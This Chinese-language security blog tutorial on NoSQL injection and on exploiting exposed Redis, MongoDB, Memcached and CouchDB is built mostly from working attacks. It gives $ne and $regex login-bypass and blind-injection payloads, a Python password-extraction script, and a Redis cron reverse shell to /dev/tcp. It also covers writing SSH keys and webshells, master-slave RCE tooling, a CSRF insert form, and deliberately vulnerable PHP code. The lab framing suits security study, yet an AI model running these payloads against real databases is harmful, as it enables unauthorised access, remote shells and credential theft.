這是酒仙橋六號部隊的第65篇文章。
全文共計6406個字,預計閱讀時長19分鐘。
NoSQL數據庫特性
NoSQL全稱是Not Only SQL,意為不僅僅是SQL。是一種非關系型數據存儲模式,它存儲的不再是結構化數據,而是類型和固定的格式,以key-value鍵值對、列式、文檔來存儲。而相較于關系型數據庫,非關系數據庫的優點有如下幾點:
1、快速讀寫
主要例子有Redis,由于其邏輯簡單,而且純內存操作,使得其性能非常出色,單節點每秒可以處理超過10萬次讀寫操作。
2、方便擴展
NoSQL去掉關系數據庫的關系型特性,很容易橫向擴展,擺脫了以往老是縱向擴展的詬病。
3、低廉成本
相較于關系型數據庫來說,企業級授權費用降低很多。
4、靈活的數據類型
NoSQL無需事先為要存儲的數據建立字段,隨時可以存儲自定義的數據格式。
NoSQL數據庫分類和特點如下:
NoSQL數據庫注入
NoSQL數據庫雖然不使用SQL語句,但用網上的一句話來說,有DB的地方就有。且NoSQL注入的危害更大,因語句是以Web應用程序的語言來注入并在服務器上執行,從而導致允許任意代碼執行,所以潛在影響要大于傳統的SQL注入。
NoSQL注入攻擊流程(此圖來源于owasp)
NoSQL注入大概分為重言式、聯合查詢、、盲注、背負式查詢、跨域違規等,由于背負式查詢和跨域違規兩種方式資料太少,也沒有實戰環境可測試,所以著重講解前面幾種注入方式。(此處使用數據庫來進行演示)
準備測試數據:
創建數據庫
use admin //創建一個admin數據庫,如果有admin數據庫就選擇admin數據庫
插入數據
db.admin.insert({'username':'time','password':'11111'})//默認會自動創建admin集合
查詢數據
db.admin.find()//查詢所有數據
查看所有數據庫
show dbs
查看集合
show collections
1、重言式
又稱永真式關系數據庫中碼的作用,既在條件語句中注入代碼使其表達式判定結果永遠為真,從而繞過認證或訪問機制。而怎么使其注入代碼后讓表達式判定結果永遠為真,此處就不得不說一下數據庫的條件操作符了。如下:
$eq : = //匹配字段值等于指定值的文檔
$gt : > //匹配字段值大于指定值的文檔
$lt : < //匹配字段值小于指定值的文檔
$gte: >= //匹配字段值大于等于指定值的文檔
$lte: <= //匹配字段值小于等于指定值的文檔
$ne : != //匹配字段值不等于指定值的文檔,包括沒有這個字段的文檔
$in : in //匹配字段值等于指定數組中的任何值
$nin: not in //字段值不在指定數組或者不存在
$and //文檔至少滿足其中的一個表達式
$or:or //文檔至少滿足其中的一個表達式
$not: //反匹配(1.3.3及以上版本),字段值不匹配表達式或者字段值不存在
模糊查詢用正則式:db.customer.find({'name': {'$regex':'.*s.*'} })
而在重言式注入中需要用到的就是$ne,意為不等于指定值的數據查詢出來,表達式ne=1,就是把數據庫中除ne=1的所有值,全部查詢出來。
//測試代碼
# 連接數據庫
$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$uname = $_GET['username'];
$pwd = $_GET['password'];
# 查詢語句
$query = new MongoDB\Driver\Query(array(
'uname' => $uname,
'pwd' => $pwd
));
# 執行語句
$result = $manager->executeQuery('admin.admin', $query)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo 'username:' . $user['uname'] . '
';echo 'password:' . $user['pwd'] . '
';}
}
else{
echo 'Not Found';
}
如圖,此處輸入對的賬號密碼查詢出一條語句。
如果輸入以下代碼,則會將數據庫中所有的賬戶密碼全部查詢出來:
http://192.168.239.135/n/login.php?username[$ne]=1&password[$ne]=1
此處$ne是把數據庫中$ne等于1之外的數據都查詢出來
如果輸入
[$ne]=time&[$ne]=,會將賬戶不是time的所有數據顯示。
當用戶輸入
[$ne]=1&[$ne]=1的時候,程序會將用戶輸入的賬戶密碼構造成以下數據帶入數據庫中查詢。
$query = new MongoDB\Driver\Query(array(
'uname' => array($ne => 1),
'pwd' => array($ne => 1)
));
數據庫中查詢出用戶想要的數據。
2、聯合查詢
攻擊者利用一個脆弱的參數去改變給定查詢返回的數據集,最常用的用法是繞過認證頁面獲取數據。比如通過增加永真式的表達式利用布爾的OR運算符導致整個語句判定出錯。(因沒有找到測試環境,此處大概講一下注入方式)
小栗子(例):登錄代碼:
string query = "{ username:'" + post_username + "', password:'" + post_passport + ' " }"
當我們登錄賬戶時,正確的查詢語句如下:
{‘username’:'time',‘password’:'time111'}
如果構造一個惡意代碼來忽略密碼,那么就可以無需密碼的情況下登錄用戶賬號。
username=time',$or:[{},{'a':'a&password='}]
構造的惡意語句
{'username':'time', '$or':[{},{'a':'a','password':''}]}
當將惡意語句帶入數據庫查詢的時候匹配到當前用戶的數據。
3、注入
新型注入漏洞,由允許執行數據內容中的的NoSQL數據庫引入的。使在數據引擎進行復雜事物和查詢成為可能。傳遞不干凈的用戶輸入到這些查詢中可以注入任意代碼,導致非法的數據獲取或篡改。而中的$where操作符就可以用來執行語句。
//測試代碼
$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$query_body =array(
'$where'=>"function q() {
var username = ".$_REQUEST["username"].";
var password = ".$_REQUEST["password"].";if(username == 'time'&&password == 'time111') return true; else{ return false;}}
");
$query = new MongoDB\Driver\Query($query_body);
$cursor = $manager->executeQuery('test.test', $query)->toArray();
if(count($cursor)>0){
echo "ok";
}else{
echo "no";
}
當不知道賬號密碼的時候,在地址欄隨意輸入字符,頁面返回錯誤。
當在參數后加上; true;時頁面返回ok。
payload:username=1&password=1;return ture;
當輸入return ture;程序會構造出以下語句
'$where'=>"function q() {
var username = ".$_REQUEST["username"].";
var password = ".$_REQUEST["password"].";
//在此處添加一段代碼,不管用戶輸入什么都返回ture
return ture;
if(username == 'time'&&password == 'time111') return true; else{ return false;}}
");
帶入數據庫中查詢成功
4、盲注
NoSQL的盲注和SQL注入盲注類似,都是不返回數據,只是根據錯誤頁面的返回來判斷是否存在注入。此處我們需要用到的的操作符來進行盲注$eq(等于)和$regex(正則匹配)。
//測試代碼
$mongo = new mongoclient();
$db = $mongo->test; //選擇數據庫
$coll = $db->users; //選擇集合
$username = $_REQUEST['username'];
$password = $_REQUEST['password'];
if (is_array($username)) {
$data = array(
'username'=>$username);
$data = $coll->find($data);
if ($data->count()>0) {
echo 'yes';
}else{
echo 'time no';
}
}else{
if ($username == 'time'&&$password=='time111') {
echo 'ok';
}else{
echo 'login no';
}
}
隨意輸入字符,頁面返回錯誤。
如果使用已知用戶名為time,頁面同樣返回錯誤,而怎么才能確定賬戶是否正確,此時需要借助操作符$eq+burp,可以幫我們快速查找正確的賬戶。
首先找一個字典,由于我本地環境,所以用了四個賬戶測試。抓包:
payload:username[$eq]=§1111§&password=111
設置字典:
可以看見,跑出兩個正確的用戶名。
當確定了賬號后,密碼則使用正則匹配$regex來獲?。?/p>
//判斷密碼長度
http://10.211.55.3/news.php?username[$eq]=time&password[$regex]=.{7}
http://10.211.55.3/news.php?username[$eq]=time&password[$regex]=t.{6}
http://10.211.55.3/news.php?username[$eq]=time&password[$regex]=ti.{5}
http://10.211.55.3/news.php?username[$eq]=time&password[$regex]=tim.{4}
以此類推
數據庫中查詢語句會使用$regex和^
{'username':{'$eq':'time'},'password':{'$regex':'^'}}
而密碼就有些復雜了,不能使用burp,不過可以借助腳本來測試。
腳本:
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username = 'admin'
password = ''
target = 'http://127.0.0.1/mongo/test.php'
while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
payload = '?username=%s&password[$regex]=^%s' % (username, password + c)
r = requests.get(target + payload)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
5、背負式查詢
背負式查詢是數據庫的的一種注入,在php5.5的時候該漏洞被修復,由于網上資料較少,所以此處在網上摘抄了一部分作為了解。
語法:
set <KEY> <FLAG> <EXPIRE_TIME> <LENGTH>,
當PHP配置的函數被調用時,接收參數如下:
$memcached->set('key', 'value');
該驅動程序未能針對帶有回車\r(0x0D)和換行的\n(0x0A)的ASCII碼采取措施,導致攻擊者有機會注入包含有鍵參數的新命令行和其他非計劃內的命令到緩存中8。如下代碼,其中的$param是用戶輸入并作為鍵來作用:
$memcached=new Memcached(); $memcached ->addServer('localhost',11211); $memcached->set($param, "some value");
攻擊者可以提供以下輸入進行注入攻擊:
"key1 0 3600 4\r\nabcd\r\nset key2 0 3600 4\r\ninject\r\n"
增加到數據庫中的第一個鍵是具有"some value"值的key1。攻擊者可以增加其他的、非計劃內的鍵到數據庫中,即帶有""值的key2。這種注入也可以發生在get命令上??匆幌轮黜撋系氖纠?它以這三行開頭:
Function get_foo(foo_id) foo = memcached_get("foo: " . foo_id) return foo if defined foo
這個示例展示了的典型用法,在處理輸入之前首先檢查在數據庫中是不是已經存在了。假設用類似代碼檢查從用戶那里接收的認證令牌,驗證他們是不是登錄過了,那么就可以通過傳遞以下作為令牌的字符串來利用它:
"random_token\r\nset my_crafted_token 0 3600 4\r\nroot\r\n"
當這個字符串作為令牌傳遞時,數據庫將檢查這個""是否存在,然后將添加一個具有"root"值的""。之后,攻擊者就可以發送具有root身份的令牌了。 可以被這項技術攻擊的其他指令還有:
incr <Key> <Amount>
decr <Key> <Amount>
delete <Key>
在此,incr用于增加一個鍵的值,decr用于縮減一個鍵的值,以及用于刪除一個鍵。攻擊者也可以用像set和get函數一樣的手段來使用帶來自己鍵參數的這三個函數。攻擊者可以使用多條目函數進行同樣的注入:、和,其中每一個鍵字段都可以被注入?;剀嚀Q行注入可以被用于連接多個get請求。在一項我們進行的測試中,包括原始get在內最多可以連接17條。這樣注入返回的結果是第一個鍵及其相應的值。
6、跨域違規
NoSQL數據庫的另一個常見特點是,他們能夠常常暴露能夠從客戶端應用進行數據庫查詢的HTTP REST API。暴露REST API 的數據庫包括、和HBase。暴露REST API 就直接把數據庫暴露給應用了,甚至是僅基于HTML5的應用,因為它不再需要間接的驅動程序了,讓任何編程語言都可以在數據庫上執行HTTP查詢。這么做的優勢非常明顯,但這一特點是否伴隨著安全風險?我們的回答是肯定的:這種REST API給跨站點請求偽造(CSRF)暴露了數據庫,讓攻擊者繞過了防火墻和其他外圍防御。
HTTP REST APIs是NoSQL數據庫中的一個流行模塊,然而,它們引入了一類新的漏洞,它甚至能讓攻擊者從其他域攻擊數據庫。在跨域攻擊中,攻擊者利用合法用戶和他們的網頁瀏覽器執行有害的操作。是一種跨站請求偽造(CSRF)攻擊形式的違規行為,在此網站信任的用戶瀏覽器將被利用在NoSQL數據庫上執行非法操作。通過把HTML格式的代碼注入到有漏洞的網站或者欺騙用戶進入到攻擊者自己的網站上,攻擊者可以在目標數據庫上執行post動作,從而破壞數據庫。
現在讓我們看看CSRF攻擊是如何使用這個函數增加新文件到管理員集合中的,從而在hr數據庫(它被認為處于安全的內部網絡中)中增加了一個新的管理員用戶,如下圖所示。若想攻擊成功,必須要滿足幾個條件。首先,攻擊者必須能操作一個網站,要么是他們自己的網站,要么是利用不安全的網站。攻擊在該網站放置一個HTML表單以及一段將自動提交該表單的腳本,比如:
<form action=" http://safe.internal. db/hr/admins/_insert" method="POST" name="csrf">
<input type="text" name="docs" value=" [{"username":attacker}]" />
form>
<script> document.forms[0].submit(); script>
藏在防火墻后的內部網絡內的用戶被欺騙訪問一個惡意外部網頁,這將導致在內部網絡的NoSQL數據庫的 REST API 上執行非預期的查詢。
第二,攻擊者必須通過網絡誘騙或感染用戶經常訪問的網站欺騙用戶進入被感染的網站。最后,用戶必須許可訪問 HTTP接口。
用這種方式,攻擊者不必進入內部網絡即可執行操作,在本例中,是插入新數據到位于內部網絡中的數據庫中。這種攻擊執行很簡單,但要求攻擊者要提前偵察去識別主機、數據庫名稱,等等。
7、node.js注入(靶場)
靶場下載地址:https://github.com/Charlie-belmer/vulnerable-node-app
環境:node.js、Mongodb
進入APP目錄下使用命令: node server.js啟動環境
PS:若提示錯誤,使用npm install 下載報錯模塊
登錄繞過
此頁面注入可使用重言式進行繞過登錄。
使用burp抓包,如下圖:
:
修改password
{"username":"admin","password":{"$ne":1}}
修改
{"username":{"$ne":1},"password":{"$ne":1}}
都可繞過賬戶密碼登錄
注入成功。
where注入
此頁面類似聯合查詢注入。
注入惡意代碼使得表達式為真來獲取所有用戶名。
:
username=' || '1'=='1
根據用戶輸入程序構造如下代碼,帶入數據庫查詢后返回所有用戶信息
’$where‘:’this.username‘ == '' || '1'=='1'
NoSQL數據庫方法
老生常談,其實網上有很多關于Redis或的漏洞利用方法,不過本文既然是講NoSQL,Redis和算是NoSQL數據庫中的代表性數據庫關系數據庫中碼的作用,所以本文也總結一下利用方法。
Redis 方法總結
環境搭建:
下載:wget http://download.redis.io/releases/redis-4.0.9.tar.gz
解壓:tar -zxvf redis-4.0.9.tar.gz
cd redis-4.0.9
make
make test
make install
依次執行
配置redis.conf
注釋 bind 127.0.0.1
關閉保護模式,將protected-mode yes改為no
未授權連接:
redis-cli -h 0.0.0.0 -p 6379 連接上靶機
-計劃任務
本機監聽:
nc -lvvp 4444
redis:
set x "\n* * * * * bash -i >& /dev/tcp/192.168.239.136/8888 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
接收到反彈shell。
ssh-
本地生成秘鑰:
cd .ssh
ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
cat foo.txt | redis-cli -h 192.168.239.129 -x set crackit
redis:
redis-cli -h 192.168.239.129
config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
save
最后本機運行
ssh -i id_rsa root .x.x.x
寫入
redis-cli -h 192.168.239.129
config set dir /var/www/html/
config set dbfilename shell.php
set x ""
save
寫入成功
利用主從復制RCE
so文件:git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(下載后進入目錄make,獲取惡意so文件)
python腳本:git clone https://github.com/Ridter/redis-rce.git
執行命令:python3 redis-rce.py -r 192.168.239.129 -p 6379 -L 192.168.239.136 -f module.so
成功獲取shell。
未授權訪問
目標機:
攻擊機:kali
使用搭建漏洞環境。
拉取環境
sudo docker pull mongo
查看鏡像
sudo docker images
啟動容器
sudo docker run -d -p 27017:27017 --name mongodb mongo
查看mongodb容器IP
sudo $docker inspect mongodb | grep IPAddress
mongodb 27917端口到本機27917端口上
sudo iptables -t nat -A DOCKER -p tcp --dport 27917 -j DNAT --to-destination 172.17.0.2:27017
nmap掃描:
至此,漏洞環境搭建成功。
使用掃描漏洞是否存在。
掃描模塊
auxiliary/scanner/mongodb/mongodb_login
使用連接工具。
下載地址:https://nosqlbooster.com/downloads
輸入靶機IP,連接即可。
連接成功。
未授權訪問
目標機:
環境搭建。
安裝:
sudo yum install memcached
啟動服務
sudo memcached -d -m 128 -p 11211 -u root
查看是否啟動服務
sudo ps -ef | grep memcache
安裝客戶端
sudo yum install php-memcached
重啟apache服務
service apache2 restart
查看端口開放
netstat -an |more
當顯示如下圖,漏洞環境搭建成功。
漏洞利用:
telnet 192.168.239.137 11211
成功。
未授權訪問
目標機:Kali
環境搭建:
wget https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/docker-compose.yml
下載環境并啟動
docker-compose up -d
如果訪問不了網址,新建-.yml,將如下代碼復制進去即可。
version: '2'
services:
couchdb:
image: vulhub/couchdb:1.6.0
ports:
"5984:5984"
環境搭建成功。
漏洞利用
http://192.168.239.129:5984/_config //網址后面加上_config,出現如下圖說明存在漏洞
總結
本文大概介紹了NoSQL注入的分類,主要講的是數據庫注入,背負式和跨域違規,網上資料算是極少,只能從其他文章中摘錄放到本文內。
不管是SQL注入還是Nosql注入,漏洞產生原因都是未對用戶輸入的數據進行過濾或過濾不嚴謹,雖然NoSQL不使用SQL語句,但可根據程序語言來進行注入,不管是PHP,Node.JS或其他語言,沒有做好數據過濾照樣存在注入,果然世上沒有絕對安全的應用,別問,問就是研究的不夠深。
參考鏈接
https://www.jianshu.com/p/25fb182ef52c
https://blog.csdn.net/qq_27446553/article/details/79379481?utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~baidu_landing_v2~default-1-79379481.nonecase
https://cloud.tencent.com/developer/article/1602092
https://nullsweep.com/a-nosql-injection-primer-with-mongo/
https://scotch.io/@401/mongodb-injection-in-nodejs
https://www.cnblogs.com/wangyayun/p/6598166.html